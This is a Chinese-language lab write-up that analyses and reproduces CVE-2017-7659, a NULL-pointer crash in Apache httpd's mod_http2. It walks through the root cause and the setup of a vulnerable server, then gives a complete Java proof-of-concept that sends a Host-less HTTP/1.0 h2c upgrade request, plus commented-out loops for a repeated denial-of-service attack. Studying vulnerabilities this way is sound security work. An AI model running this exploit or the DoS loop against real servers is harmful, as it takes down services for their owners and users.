共计 5432 个字符,预计需要花费 14 分钟才能阅读完成。
一、实验原理介绍
apache 在其网站发布的安全公告,针对 CVE-2017-7659 漏洞的介绍是这样的:
A maliciously constructed HTTP/2 request could cause mod_http2 to dereference a NULL pointer and crashthe server process.
可以看到这是 apache WEB 服务器(httpd)中的一个 HTTP 2.0 协议处理的漏洞。
有漏洞的服务器源码下载链接:https://archive.apache.org/di…
通过补丁的修改进行漏洞成因的逆向分析。首先查看漏洞函数 h2_stream_set_request_rec,发现是调用 h2_request_rcreat 创建 http 2.0 请求的数据结构 req,h2_request_rcreat 执行失败时 req 为空,此时在日志函数 ap_log_rerror 中直接解引用 req 导致进程崩溃:
继续查看函数 h2_request_rcreate,看到首先会把 req 置为 0,然后判断 4 个变量 r ->method,scheme,r->hostname,path,任何一个为空则返回失败,而此时 req 还是 0,就会导致进程崩溃:
那么这 4 个变量是哪一个为空导致的漏洞呢?scheme 是先判断了是否为空再赋值的,首先排除;path 是从 r ->parsed_uri 中解析出来,解析函数 apr_uri_unparse 在其它地方有多次使用,直觉 path 也不会为空;r->method 保存请求的方法字段,在 HTTP 请求中必须存在,因此也不应该为空;因此只有 r ->hostname,保存请求的主机名,也就是域名,可能为空。
我们知道,HTTP 请求中,有 2 个地方可以表示主机名:
1) 请求的路径以完整 URL 方式表示,URL 中包含主机名,例如 GET http://www.example.com/ HTTP/1.1,这里主机名就是 www.example.com。服务器中是在 ap_parse_uri 函数中解析这种主机名的
2) 在 Host 请求头中包含主机名,例如:
GET / HTTP/1.1
Host: www.example.com
服务器中是在 fix_hostname 函数中解析这种主机名的分别审计 ap_parse_uri 和 fix_hostname 函数,发现如果请求中没有 Host 头,那么 r ->hostname 确实是空。但是服务器也考虑到了这种情况,在 ap_read_request 函数中做了判断:
这里的判断逻辑,如果满足下面 2 个条件之一
1) r->hostname 为空,且请求的 HTTP 版本大于等于 1.1
2) 没有 Host 头,且请求的 HTTP 版本等于 1.1
就会立刻回复 400 状态码的错误页面,并不会触发后面的漏洞。在注释里也说明了,HTTP/1.1 的 RFC2616 的 14.23 节中明确指明,HTTP/1.1 请求必须包含 Host 头。
但是,HTTP 还有 1.0 版本,且 HTTP/1.0 和 HTTP/1.1 的处理流程一样,虽然 HTTP/1.0 确实没有规定请求必须包含 Host 头。因此 HTTP/1.0 请求是可以没有 Host 头的,程序会一直按照流程执行,最终执行到 h2_stream_set_request_rec 函数,此时 r ->hostname 为空,从而触发漏洞。
综合上面的分析,该漏洞利用成功需要如下条件:
1) 服务器支持 HTTP/2
2) 请求是 HTTP/1.0 版本
3) 请求中没有 Host 头
二、环境配置介绍
1)、实验的环境 CentOS 7,2.4.25 版本的 Apache Httpd 服务器
2)、Apache 的安装前的准备工作
安装 Sqllite
# wget http://www.sqlite.org/2014/sqlite-autoconf-3080704.tar.gz
# tar zxf sqlite-autoconf-3080704.tar.gz
# cd sqlite-autoconf-3080704
# ./configure --prefix=/usr/local/sqlite-3.8.7.4
# make && make install
安装 apr
# wget http://archive.apache.org/dist/apr/apr-1.5.2.tar.gz
# tar zxf apr-1.5.2.tar.gz
# cd apr-1.5.2
# ./configure --prefix=/usr/local/apr-1.5.2
# make && make install
安装 apr-util
# wget http://archive.apache.org/dist/apr/apr-util-1.5.4.tar.gz
# tar zxf apr-util-1.5.4.tar.gz
# cd apr-util-1.5.4
# ./configure --prefix=/usr/local/apr-util-1.5.4 --with-apr=/usr/local/apr-1.5.2
# make && make install
安装 nghttp2
# wget https://fossies.org/linux/www/nghttp2-1.38.0.tar.gz
# tar zxf nghttp2-1.38.0.tar.gz
# cd nghttp2-1.38.0
# ./configure --prefix=/usr/local/nghttp2-1.38.0
# make && make install
# 最后安装 2.4.25 版本的 Apache 服务器
# cd /usr/local/src
# wget http://archive.apache.org/dist/httpd/httpd-2.4.25.tar.gz
# cd httpd-2.4.25
# ./configure --prefix=/usr/local/apache-2.4.25 --with-apr=/usr/local/apr-1.5.2 --with-apr=/usr/local/apr-1.5.2 --with-nghttp2=/usr/local/nghttp2-1.38.0 --enable-http2 --enable-dav --enable-so --enable-maintainer-mod --enable-rewrite --with-sqlite=/usr/local/sqlite-3.8.7.4
# make && make install
# cp /usr/local/apache-2.4.25/conf/httpd.conf /usr/local/apache-2.4.25/conf/httpd.conf.default
# ln -s /usr/local/apache-2.4.25/ /usr/local/apache
3)、修改配置文件 httpd.conf,并测试 Apache 是否能运行
1、设置服务器监听的端口
2、Apache 服务器的 IP 和端口
3、添加支持 Http2.0 的 module
如果提示说没有 mod_http2.so,可以使用下面的命令编译生成
/opt/httpd/httpd/bin/apxs -c mod_http2.c
/opt/httpd/httpd/bin/apxs -i -a -n http2 mod_http2.la
注:在下载的源码 modules 文件夹那里执行
4、设置日志级别为 debug,否则后续漏洞复现不了,因为如果不是 debug 级别,不会执行漏洞函数
5、启动服务器
至此,实验的环境已经搭建好。
三、实验过程详细介绍
1. 首先起一个单一进程的 apache httpd 服务,方便验证进程崩溃后的效果
访问浏览器:正常访问
2、编写 Java 程序,发送恶意请求
尝试发送漏洞请求过去,触发服务器的漏洞函数
public class HttpTest extends Thread{public void createSocket() { }
public void communcate() throws IOException {
// 注意这里必须制定请求方式 地址 注意空格
Socket socket = new Socket("192.168.179.112", 8888);
OutputStream os = socket.getOutputStream();
InputStream is = socket.getInputStream();
StringBuffer sb = new StringBuffer("GET / HTTP/1.0\r\n");
// 以下为请求头
sb.append("User-Agent: curl/7.50.1\r\n");
//sb.append("Host: 39.108.122.247\r\n");
sb.append("Accept: */*\r\n");
sb.append("Connection: Upgrade, HTTP2-Settings\r\n");
sb.append("Upgrade: h2c\r\n");
sb.append("HTTP2-Settings: AAMAAABkAARAAAAAAAIAAAAA\r\n");
//sb.append("Content-Length: 2\r\n");
// 注意这里要换行结束请求头
sb.append("\r\n");
System.out.println(sb.toString());
try {os.write(sb.toString().getBytes());
ByteArrayOutputStream baos = new ByteArrayOutputStream();
/*byte[] bytes = new byte[1024];
int len = -1;
int i =0 ;
while ((len = is.read(bytes)) != -1) {baos.write(bytes, 0, len);
}
System.out.println(new String(baos.toByteArray()));
*/
socket.close();} catch (IOException e) {
// TODO Auto-generated catch block
e.printStackTrace();}
}
@Override
public void run() {createSocket();
// Dos 攻击
/*while (true) {
try {communcate();
} catch (IOException e) {e.printStackTrace();
}
}*/
try {communcate();
} catch (IOException e) {e.printStackTrace();
}
}
/*
GET / HTTP/1.1
Connection: Upgrade, HTTP2-Settings
Upgrade: h2c
HTTP2-Settings: <base64url encoding of HTTP/2 SETTINGS payload>
*/
public static void main(String[] args) {// for(int i =0; i<100 ;++i) {HttpTest client = new HttpTest();
client.start();
// }
}
}
漏洞成功复现:
此时浏览器也访问不了
3、如果是多进程的 apache httpd 服务
当 worker 进程崩溃时,apache 会自动启动新的 worker 进程。那么在真实的网络环境中,黑客会如何利用此漏洞对服务器进行攻击呢?
修改上面的 Java 代码,发送 Dos 攻击
apache 服务器全部 worker 进程都崩溃了!
四、实验总结
这个实验的难点是分析漏洞的发生原因、实验环境的配置。首先,在 linux 上安装 Apache Http 2.4.25 这个版本的服务器,参考网上的一些教程安装,发现过程是不全的,只能靠自己去根据控制台打印的错误日志去找原因,为了让 Apache 服务器支持 Http2.0,mod_http2.so 这个 module 一直报错,后来安装配置了 nghttp2 重新编译才能成功开启服务器。安装好实验环境后,写了一段 Java 程序去验证,发送 Http1.0 的请求并且不带 Host 消息头,一开始创建了 1000 个线程发送 1000 个“恶意请求”,发现 Apache 服务器并没有宕机,百思不得其解,调了一个下午都没有成功,在队友的电脑也是这样的问题。之后不断地查阅资料,并且尝试去看源码,发现需要在配置文件里面设置日志级别为 debug 才会触发漏洞,默认是 info 级别,这点在官网上并没有描述,这个服务器如果是没有设置为 debug 级别是不会执行漏洞函数的,解决了这个大坑之后,服务器终于崩溃(出现了 Segmentation fault 这个段异常,即内部有空指针异常),但是 Apache 有保护机制,当 worker 进程崩溃时,apache 会自动启动新的 worker 进程。我们编写了的程序,同时发起多个畸形请求,以不断触发后台 worker 崩溃,并让 apache 服务器不断陷入重新分配 worker 的处理之中。基于漏洞发生的场景可以得出,解决这个漏洞的关键是就是增加了对 h2_request_rcreate 函数返回值的判断即可。
参考链接:https://www.cnblogs.com/brish…
https://www.cnblogs.com/quche…
https://www.freebuf.com/vuls/…